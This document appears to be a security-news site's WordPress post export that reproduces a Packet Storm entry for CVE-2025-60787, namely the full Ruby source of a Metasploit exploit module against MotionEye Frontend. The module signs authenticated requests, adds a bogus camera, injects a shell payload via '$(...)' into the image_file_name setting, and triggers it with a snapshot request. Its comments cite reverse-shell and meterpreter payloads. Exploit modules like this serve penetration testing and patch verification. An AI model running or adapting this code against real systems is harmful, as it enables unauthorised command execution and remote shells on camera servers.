{"id":21079,"date":"2025-10-10T15:52:40","date_gmt":"2025-10-10T15:52:40","guid":{"rendered":"http:\/\/localhost\/?p=21079"},"modified":"2025-10-10T15:52:40","modified_gmt":"2025-10-10T15:52:40","slug":"motioneye-frontend-0431b4-remote-code-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=21079","title":{"rendered":"\ud83d\udcc4 MotionEye Frontend 0.43.1b4 Remote Code Execution_PACKETSTORM:210394"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-10-10T19:33:33&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits a template injection&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-10-10T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-10-10T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 MotionEye Frontend 0.43.1b4 Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:210394&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-60787&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n    # This module requires Metasploit: https:\/\/metasploit.com\/download\\n    # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n    ##\\n    \\n    class MetasploitModule \\u003c Msf::Exploit::Remote\\n      Rank = ExcellentRanking\\n    \\n      include Msf::Exploit::Remote::HttpClient\\n      prepend Msf::Exploit::Remote::AutoCheck\\n    \\n      def initialize(info = {})\\n        super(\\n          update_info(\\n            info,\\n            &#8216;Name&#8217; =\\u003e &#8216;Remote Code Execution Vulnerability in MotionEye Frontend (CVE-2025-60787)&#8217;,\\n            &#8216;Description&#8217; =\\u003e %q{\\n              This module exploits a template injection vulnerability in the MotionEye Frontend.\\n    \\n              MotionEye Frontend versions 0.43.1b4 and prior are vulnerable to OS Command Injection in configuration parameters such as image_file_name.\\n              Unsanitized user input is written to MotionEye Frontend configuration files, allowing remote authenticated attackers with admin access to achieve code execution.\\n    \\n              Successful exploitation will result in the command executing as the user running\\n              the web server, potentially exposing sensitive data or disrupting survey operations.\\n    \\n              An attacker can execute arbitrary system commands in the context of the user running the web server.\\n            },\\n            &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n            &#8216;Author&#8217; =\\u003e [\\n              &#8216;Maksim Rogov&#8217;, # Metasploit Module\\n              &#8216;prabhatverma47&#8217; # Vulnerability Discovery\\n            ],\\n            &#8216;References&#8217; =\\u003e [\\n              [&#8216;CVE&#8217;, &#8216;2025-60787&#8217;],\\n              [&#8216;URL&#8217;, &#8216;https:\/\/github.com\/prabhatverma47\/motionEye-RCE-through-config-parameter&#8217;]\\n            ],\\n            &#8216;Platform&#8217; =\\u003e [&#8216;unix&#8217;, &#8216;linux&#8217;],\\n            &#8216;Arch&#8217; =\\u003e [ARCH_CMD],\\n            &#8216;Targets&#8217; =\\u003e [\\n              [\\n                &#8216;Unix Command&#8217;,\\n                {\\n                  &#8216;Platform&#8217; =\\u003e [&#8216;unix&#8217;, &#8216;linux&#8217;],\\n                  &#8216;Arch&#8217; =\\u003e ARCH_CMD,\\n                  &#8216;Type&#8217; =\\u003e :unix_cmd,\\n                  &#8216;DefaultOptions&#8217; =\\u003e {\\n                    # In the Docker container from the official repository, only curl is available\\n                    &#8216;FETCH_COMMAND&#8217; =\\u003e &#8216;CURL&#8217;\\n                  }\\n                  # Tested with cmd\/unix\/reverse_bash\\n                  # Tested with cmd\/linux\/http\/x64\/meterpreter\/reverse_tcp\\n                }\\n              ]\\n            ],\\n            &#8216;Payload&#8217; =\\u003e {\\n              &#8216;BadChars&#8217; =\\u003e &#8216;\\u0026\\\\\\\\&#8217;\\n            },\\n            &#8216;DefaultTarget&#8217; =\\u003e 0,\\n            &#8216;DisclosureDate&#8217; =\\u003e &#8216;2025-09-09&#8217;,\\n            &#8216;Notes&#8217; =\\u003e {\\n              &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n              &#8216;SideEffects&#8217; =\\u003e [IOC_IN_LOGS, ARTIFACTS_ON_DISK],\\n              &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION]\\n            }\\n          )\\n        )\\n    \\n        register_options(\\n          [\\n            OptString.new(&#8216;TARGETURI&#8217;, [true, &#8216;Path to MotionEye&#8217;, &#8216;\/&#8217;]),\\n            OptString.new(&#8216;USERNAME&#8217;, [true, &#8216;The username used to authenticate to MotionEye&#8217;, &#8216;admin&#8217;]),\\n            OptString.new(&#8216;PASSWORD&#8217;, [true, &#8216;The password used to authenticate to MotionEye&#8217;, &#8221;])\\n          ]\\n        )\\n      end\\n    \\n      def clean_string(data)\\n        # Regex to match any character not allowed in the canonical string\\n        # The regular expression is taken from the MotionEye source code.\\n        # https:\/\/github.com\/motioneye-project\/motioneye\/blob\/b3ed73298554a1db1ea158c4bf6f2ec3a54ef5b9\/motioneye\/utils\/__init__.py#L39\\n        signature_regex = %r{[^A-Za-z0-9\/?_.=\\u0026{}\\\\[\\\\]\\&#8221;:, -]}\\n    \\n        if data.nil?\\n          # Return empty string if input is nil\\n          return &#8221;\\n        elsif data.is_a?(String)\\n          # Replace disallowed characters with &#8216;-&#8216; if input is already a string\\n          return data.gsub(signature_regex, &#8216;-&#8216;)\\n        elsif data.respond_to?(:to_s)\\n          # Convert to string and replace disallowed characters if possible\\n          return data.to_s.gsub(signature_regex, &#8216;-&#8216;)\\n        end\\n    \\n        # Return empty string for all other cases\\n        &#8221;\\n      end\\n    \\n      # Compute a SHA1 signature for the request using method, path, body, and user key.\\n      def compute_signature(method, path, body = nil, key = &#8221;)\\n        # Parse the given path into URI components\\n        parsed_uri = URI.parse(path)\\n    \\n        # Get and parse query string (if present)\\n        query_string = parsed_uri.query\\n        query_params = query_string.nil? ? {} : CGI.parse(query_string)\\n    \\n        # Prepare query parameters for signing: take first values and remove the &#8216;_signature&#8217; field\\n        sig_query = query_params\\n                    .transform_values(\\u0026:first)\\n                    .reject { |k, _v| k == &#8216;_signature&#8217; }\\n    \\n        # Sort query arguments alphabetically\\n        sorted_query_items = sig_query.sort_by { |k, _v| k }\\n    \\n        # Encode parameters and join them into a query string\\n        query_components = sorted_query_items.map { |k, v| \\&#8221;#{k}=#{CGI.escape(v)}\\&#8221; }\\n        canonical_query = query_components.join(&#8216;\\u0026&#8217;)\\n    \\n        # Construct full canonical path with query\\n        canonical_path = parsed_uri.path\\n        canonical_path += \\&#8221;?#{canonical_query}\\&#8221; unless canonical_query.empty?\\n    \\n        # Clean up path and body before hashing\\n        cleaned_path = clean_string(canonical_path)\\n        cleaned_body = clean_string(body)\\n    \\n        key_hash = Digest::SHA1.hexdigest(key).downcase\\n    \\n        data = \\&#8221;#{method}:#{cleaned_path}:#{cleaned_body}:#{key_hash}\\&#8221;\\n    \\n        Digest::SHA1.hexdigest(data).downcase\\n      end\\n    \\n      def generate_timestamp_ms\\n        (Time.now.to_f * 1000).to_i\\n      end\\n    \\n      # For the server to accept a request, all requests must be signed.\\n      # This is a wrapper around the standard send_request_cgi function that adds the GET parameters _ (timestamp), username, and signature to the requests.\\n      def send_signed_request_cgi(opts = {})\\n        signature_key = datastore[&#8216;PASSWORD&#8217;]\\n    \\n        method = opts[&#8216;method&#8217;] || &#8216;GET&#8217;\\n        base_path = opts[&#8216;uri&#8217;]\\n        body = nil\\n    \\n        if method.upcase == &#8216;POST&#8217;\\n          if opts[&#8216;data&#8217;]\\n            body = opts[&#8216;data&#8217;]\\n          elsif opts[&#8216;vars_post&#8217;]\\n            body = URI.encode_www_form(opts[&#8216;vars_post&#8217;])\\n          end\\n        end\\n    \\n        vars_get = {\\n          &#8216;_username&#8217; =\\u003e datastore[&#8216;USERNAME&#8217;],\\n          &#8216;_&#8217; =\\u003e generate_timestamp_ms\\n        }.merge!(opts.fetch(&#8216;vars_get&#8217;, {}))\\n    \\n        query_string = URI.encode_www_form(vars_get)\\n    \\n        path_with_query = query_string.empty? ? base_path : \\&#8221;#{base_path}?#{query_string}\\&#8221;\\n    \\n        signature = compute_signature(\\n          method,\\n          path_with_query,\\n          body,\\n          signature_key\\n        )\\n    \\n        new_opts = opts.dup\\n        new_opts[&#8216;vars_get&#8217;] = vars_get\\n        new_opts[&#8216;vars_get&#8217;][&#8216;_signature&#8217;] = signature\\n    \\n        return send_request_cgi(new_opts)\\n      end\\n    \\n      def add_camera\\n        print_status(&#8216;Adding malicious camera&#8230;&#8217;)\\n    \\n        res = send_signed_request_cgi(\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;\/config\/add\/&#8217;),\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n          &#8216;data&#8217; =\\u003e {\\n            &#8216;scheme&#8217; =\\u003e &#8216;rstp&#8217;,\\n            &#8216;host&#8217; =\\u003e Faker::Internet.ip_v4_address,\\n            &#8216;port&#8217; =\\u003e &#8221;,\\n            &#8216;path&#8217; =\\u003e &#8216;\/&#8217;,\\n            &#8216;username&#8217; =\\u003e &#8221;,\\n            &#8216;proto&#8217; =\\u003e &#8216;netcam&#8217;\\n          }.to_json\\n        )\\n    \\n        unless res \\u0026\\u0026 res.code == 200\\n          fail_with(Failure::UnexpectedReply, \\&#8221;#{peer} Server did not respond with the expected HTTP 200\\&#8221;)\\n        end\\n    \\n        json_body = res.get_json_document\\n        unless json_body\\n          fail_with(Failure::UnexpectedReply, &#8216;Unable to parse the response&#8217;)\\n        end\\n    \\n        unless json_body.key?(&#8216;id&#8217;)\\n          fail_with(Failure::UnexpectedReply, \\&#8221;#{peer} &#8211; Camera ID not found in response\\&#8221;)\\n        end\\n    \\n        print_good(&#8216;Camera successfully added&#8217;)\\n    \\n        return json_body[&#8216;id&#8217;]\\n      end\\n    \\n      def set_exploit(camera_id)\\n        print_status(&#8216;Setting up exploit&#8230;&#8217;)\\n    \\n        camera_name = Rex::Text.rand_text_alphanumeric(4..16)\\n        res = send_signed_request_cgi(\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;\/config\/0\/set\/&#8217;),\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n          &#8216;data&#8217; =\\u003e {\\n            camera_id =\\u003e {\\n              &#8216;enabled&#8217; =\\u003e true,\\n              &#8216;name&#8217; =\\u003e camera_name,\\n              &#8216;proto&#8217; =\\u003e &#8216;netcam&#8217;,\\n              &#8216;auto_brightness&#8217; =\\u003e false,\\n              &#8216;rotation&#8217; =\\u003e [0, 90, 180, 270].sample,\\n              &#8216;framerate&#8217; =\\u003e rand(2..30),\\n              &#8216;privacy_mask&#8217; =\\u003e false,\\n              &#8216;storage_device&#8217; =\\u003e &#8216;custom-path&#8217;,\\n              &#8216;network_server&#8217; =\\u003e &#8221;,\\n              &#8216;network_share_name&#8217; =\\u003e &#8221;,\\n              &#8216;network_smb_ver&#8217; =\\u003e &#8216;1.0&#8217;,\\n              &#8216;network_username&#8217; =\\u003e &#8221;,\\n              &#8216;network_password&#8217; =\\u003e &#8221;,\\n              &#8216;root_directory&#8217; =\\u003e \\&#8221;\/var\/lib\/motioneye\/#{camera_name}\\&#8221;,\\n              &#8216;upload_enabled&#8217; =\\u003e false,\\n              &#8216;upload_picture&#8217; =\\u003e false,\\n              &#8216;upload_movie&#8217; =\\u003e false,\\n              &#8216;upload_service&#8217; =\\u003e [&#8216;ftp&#8217;, &#8216;sftp&#8217;, &#8216;webdav&#8217;].sample,\\n              &#8216;upload_server&#8217; =\\u003e &#8221;,\\n              &#8216;upload_port&#8217; =\\u003e &#8221;,\\n              &#8216;upload_method&#8217; =\\u003e [&#8216;post&#8217;, &#8216;put&#8217;].sample,\\n              &#8216;upload_location&#8217; =\\u003e &#8221;,\\n              &#8216;upload_subfolders&#8217; =\\u003e false,\\n              &#8216;upload_username&#8217; =\\u003e &#8221;,\\n              &#8216;upload_password&#8217; =\\u003e &#8221;,\\n              &#8216;upload_endpoint_url&#8217; =\\u003e &#8221;,\\n              &#8216;upload_access_key&#8217; =\\u003e &#8221;,\\n              &#8216;upload_secret_key&#8217; =\\u003e &#8221;,\\n              &#8216;upload_bucket&#8217; =\\u003e &#8221;,\\n              &#8216;clean_cloud_enabled&#8217; =\\u003e false,\\n              &#8216;web_hook_storage_enabled&#8217; =\\u003e false,\\n              &#8216;command_storage_enabled&#8217; =\\u003e false,\\n              &#8216;text_overlay&#8217; =\\u003e false,\\n              &#8216;text_scale&#8217; =\\u003e rand(1..3),\\n              &#8216;video_streaming&#8217; =\\u003e false,\\n              &#8216;streaming_framerate&#8217; =\\u003e rand(5..30),\\n              &#8216;streaming_quality&#8217; =\\u003e rand(50..95),\\n              &#8216;streaming_resolution&#8217; =\\u003e rand(50..95),\\n              &#8216;streaming_server_resize&#8217; =\\u003e false,\\n              &#8216;streaming_port&#8217; =\\u003e &#8216;9081&#8217;,\\n              &#8216;streaming_auth_mode&#8217; =\\u003e &#8216;disabled&#8217;,\\n              &#8216;streaming_motion&#8217; =\\u003e false,\\n              &#8216;still_images&#8217; =\\u003e true,\\n              &#8216;image_file_name&#8217; =\\u003e \\&#8221;$(#{payload.encoded})\\&#8221;,\\n              &#8216;image_quality&#8217; =\\u003e rand(50..95),\\n              &#8216;capture_mode&#8217; =\\u003e &#8216;manual&#8217;,\\n              &#8216;preserve_pictures&#8217; =\\u003e &#8216;0&#8217;,\\n              &#8216;manual_snapshots&#8217; =\\u003e true,\\n              &#8216;movies&#8217; =\\u003e false,\\n              &#8216;movie_file_name&#8217; =\\u003e &#8216;%Y-%m-%d\/%H-%M-%S&#8217;,\\n              &#8216;movie_quality&#8217; =\\u003e rand(50..95),\\n              &#8216;movie_format&#8217; =\\u003e &#8216;mp4 =\\u003e h264_v4l2m2m&#8217;,\\n              &#8216;movie_passthrough&#8217; =\\u003e false,\\n              &#8216;recording_mode&#8217; =\\u003e &#8216;motion-triggered&#8217;,\\n              &#8216;max_movie_length&#8217; =\\u003e &#8216;0&#8217;,\\n              &#8216;preserve_movies&#8217; =\\u003e &#8216;0&#8217;,\\n              &#8216;motion_detection&#8217; =\\u003e false,\\n              &#8216;frame_change_threshold&#8217; =\\u003e \\&#8221;0.#{Rex::Text.rand_text_numeric(16)}\\&#8221;,\\n              &#8216;max_frame_change_threshold&#8217; =\\u003e rand(0..1),\\n              &#8216;auto_threshold_tuning&#8217; =\\u003e false,\\n              &#8216;auto_noise_detect&#8217; =\\u003e false,\\n              &#8216;noise_level&#8217; =\\u003e rand(10..32),\\n              &#8216;light_switch_detect&#8217; =\\u003e &#8216;0&#8217;,\\n              &#8216;despeckle_filter&#8217; =\\u003e false,\\n              &#8216;event_gap&#8217; =\\u003e rand(5..30),\\n              &#8216;pre_capture&#8217; =\\u003e rand(1..5),\\n              &#8216;post_capture&#8217; =\\u003e rand(1..5),\\n              &#8216;minimum_motion_frames&#8217; =\\u003e rand(20..30),\\n              &#8216;motion_mask&#8217; =\\u003e false,\\n              &#8216;show_frame_changes&#8217; =\\u003e false,\\n              &#8216;create_debug_media&#8217; =\\u003e false,\\n              &#8217;email_notifications_enabled&#8217; =\\u003e false,\\n              &#8216;telegram_notifications_enabled&#8217; =\\u003e false,\\n              &#8216;web_hook_notifications_enabled&#8217; =\\u003e false,\\n              &#8216;web_hook_end_notifications_enabled&#8217; =\\u003e false,\\n              &#8216;command_notifications_enabled&#8217; =\\u003e false,\\n              &#8216;command_end_notifications_enabled&#8217; =\\u003e false,\\n              &#8216;working_schedule&#8217; =\\u003e false,\\n              &#8216;resolution&#8217; =\\u003e [&#8216;320&#215;240&#8217;, &#8216;640&#215;480&#8217;, &#8216;1280&#215;720&#8217;].sample\\n            }\\n          }.to_json\\n        )\\n    \\n        unless res \\u0026\\u0026 res.code == 200\\n          fail_with(Failure::UnexpectedReply, \\&#8221;#{peer} Server did not respond with the expected HTTP 200\\&#8221;)\\n        end\\n    \\n        print_good(&#8216;Exploit setup complete&#8217;)\\n      end\\n    \\n      def trigger_exploit(camera_id)\\n        print_status(&#8216;Triggering exploit&#8230;&#8217;)\\n    \\n        res = send_signed_request_cgi(\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, \\&#8221;\/action\/#{camera_id}\/snapshot\/\\&#8221;),\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n          &#8216;data&#8217; =\\u003e &#8216;null&#8217;\\n        )\\n    \\n        unless res \\u0026\\u0026 res.code == 200\\n          fail_with(Failure::UnexpectedReply, \\&#8221;#{peer} Server did not respond with the expected HTTP 200\\&#8221;)\\n        end\\n    \\n        print_good(&#8216;Exploit triggered, waiting for session&#8230;&#8217;)\\n      end\\n    \\n      def del_camera(camera_id)\\n        print_status(&#8216;Removing camera&#8217;)\\n    \\n        res = send_signed_request_cgi(\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, \\&#8221;\/config\/#{camera_id}\/rem\/\\&#8221;),\\n          &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n          &#8216;ctype&#8217; =\\u003e &#8216;application\/json&#8217;,\\n          &#8216;data&#8217; =\\u003e &#8216;null&#8217;\\n        )\\n    \\n        unless res \\u0026\\u0026 res.code == 200\\n          fail_with(Failure::UnexpectedReply, \\&#8221;#{peer} Server did not respond with the expected HTTP 200\\&#8221;)\\n        end\\n    \\n        print_good(&#8216;Camera removed successfully&#8217;)\\n      end\\n    \\n      def check\\n        res = send_request_cgi(\\n          &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path),\\n          &#8216;method&#8217; =\\u003e &#8216;GET&#8217;\\n        )\\n    \\n        motion_version_span = res.get_html_document.at(&#8216;tr.settings-item:has(td.settings-item-label span:contains(\\&#8221;motionEye Version\\&#8221;)) td.settings-item-value span.settings-item-label&#8217;)\\n        motion_version = motion_version_span\\u0026.text\\u0026.strip\\n    \\n        if motion_version_span.nil? || motion_version.empty?\\n          fail_with(Failure::UnexpectedReply, \\&#8221;#{peer} Failed to find motionEye version on the page\\&#8221;)\\n        end\\n    \\n        clear_version = motion_version.gsub(\/[a-zA-Z]\/, &#8221;)\\n        if clear_version \\u003c &#8216;0.43.15&#8217;\\n          return CheckCode::Appears(\\&#8221;Detected version #{motion_version}, which is vulnerable\\&#8221;)\\n        end\\n    \\n        return CheckCode::Detected(\\&#8221;At the time of writing the module, no patch for this vulnerability exists. A newer version #{motion_version} has been found compared to the vulnerable releases; however, it is unclear whether the issue has been fixed. It is recommended to review the release notes\\&#8221;)\\n      end\\n    \\n      def cleanup\\n        del_camera(@camera_id) unless @camera_id.nil?\\n        super\\n      end\\n    \\n      def exploit\\n        @camera_id = add_camera\\n        set_exploit(@camera_id)\\n        trigger_exploit(@camera_id)\\n      end\\n    end&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/210394&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:7.2,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:H\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/210394\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-10-10T19:33:33&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits a template injection&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-10-10T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-10-10T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 MotionEye Frontend 0.43.1b4 Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:210394&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-60787&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n \\n&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,39,12,15,13,53,7,11,5],"class_list":["post-21079","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-72","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 MotionEye Frontend 0.43.1b4 Remote Code Execution_PACKETSTORM:210394 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=21079\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 MotionEye Frontend 0.43.1b4 Remote Code Execution_PACKETSTORM:210394 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-10-10T19:33:33&#8243;,&#8221;description&#8221;:&#8221;This Metasploit module exploits a template injection&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-10-10T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-10-10T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 MotionEye Frontend 0.43.1b4 Remote Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:210394&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-60787&#8243;],&#8221;sourceData&#8221;:&#8221;##n # This module requires Metasploit: https:\/\/metasploit.com\/downloadn # Current source: https:\/\/github.com\/rapid7\/metasploit-frameworkn ##n n...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=21079\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-10-10T15:52:40+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"11 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=21079#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=21079\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 MotionEye Frontend 0.43.1b4 Remote Code Execution_PACKETSTORM:210394\",\"datePublished\":\"2025-10-10T15:52:40+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=21079\"},\"wordCount\":2213,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-7.2\",\"exploit\",\"HIGH\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=21079#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=21079\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=21079\",\"name\":\"\ud83d\udcc4 MotionEye Frontend 0.43.1b4 Remote Code Execution_PACKETSTORM:210394 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-10-10T15:52:40+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=21079#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=21079\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=21079#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 MotionEye Frontend 0.43.1b4 Remote Code Execution_PACKETSTORM:210394\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero 